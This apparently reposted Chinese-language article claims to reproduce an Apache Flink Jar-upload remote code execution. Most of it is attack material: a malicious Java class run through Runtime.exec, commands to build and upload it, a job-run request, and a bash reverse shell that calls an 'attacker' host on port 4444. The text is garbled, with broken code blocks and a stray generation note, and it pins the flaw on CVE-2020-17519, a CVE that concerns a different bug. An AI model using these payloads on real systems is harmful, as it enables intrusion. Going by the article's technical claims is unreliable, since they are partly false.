# Apache Flink任意Jar包上傳致RCE漏洞復現的示例分析
## 漏洞背景
Apache Flink作為開源的流處理框架,其Web Dashboard提供了作業提交和管理功能。在特定版本中(主要影響1.9.x-1.11.x),由于未對上傳的Jar包進行充分安全校驗,攻擊者可通過構造惡意Jar包實現遠程代碼執行(RCE)。該漏洞編號為CVE-2020-17519,CVSS評分高達9.8。
## 漏洞原理
### 核心問題
1. **未授權上傳**:默認配置下Dashboard無需認證
2. **路徑穿越**:上傳文件名未嚴格過濾
3. **動態加載**:通過`/jars/upload`接口上傳的Jar包可被直接執行
### 攻擊鏈條
惡意Jar上傳 -> 路徑穿越存儲 -> 作業提交 -> 類加載執行 -> RCE
## 環境搭建
### 測試環境
```bash
# 使用vulhub快速搭建
docker-compose -f flink/1.11.2/CVE-2020-17519.yml up
// EvilObject.java
public class EvilObject {
static {
try {
Runtime.getRuntime().exec("touch /tmp/flink_rce_success");
} catch (Exception e) { e.printStackTrace(); }
}
}
編譯打包:
javac EvilObject.java
jar cvf evil.jar EvilObject.class
curl -X POST -F "jarfile=@evil.jar" http://target:8081/jars/upload
成功響應示例:
{
"filename": "/tmp/flink-jars-49a1b5a0-1a2b-4c3d-8e9f-0a1b2c3d4e5f/evil.jar",
"status": "success"
}
通過REST API提交作業:
POST /jars/evil.jar/run HTTP/1.1
Host: target:8081
...
{"entryClass":"EvilObject"}
docker exec flink ls /tmp | grep flink_rce_success
org.apache.flink.runtime.rest.handler.job.JarUploadHandler
處理上傳請求時:
public class JarUploadHandler extends AbstractRestHandler {
protected File handleFileUpload(FileUpload file) {
// 未校驗文件名和內容
String fileName = file.getFilename();
File dest = new File(uploadDir, fileName);
file.renameTo(dest);
}
}
JarRunHandler
加載用戶指定類URLClassLoader
加載遠程Jar# conf/flink-conf.yaml
web.upload.dir: /dev/null # 禁用上傳
security.ssl.enabled: true # 啟用HTTPS
修改惡意類為:
Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/attacker/4444;cat <&5 | while read line; do $line 2>&5 >&5; done"});
利用Flink的集群特性,可通過惡意Jar在TaskManager節點橫向移動。
該漏洞展示了大數據組件在便利性和安全性之間的平衡難題。管理員應: - 及時更新到Flink 1.11.3+版本 - 遵循最小權限原則 - 定期進行安全審計
注:本文僅用于安全研究,請勿用于非法用途。測試前務必獲得書面授權。 “`
該文檔包含: 1. 漏洞技術原理說明 2. 完整復現流程(含代碼片段) 3. 防御方案和修復建議 4. 擴展攻擊場景分析 5. 結構化排版(標題/代碼塊/列表) 實際寫作時可補充更多技術細節或截圖證據。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。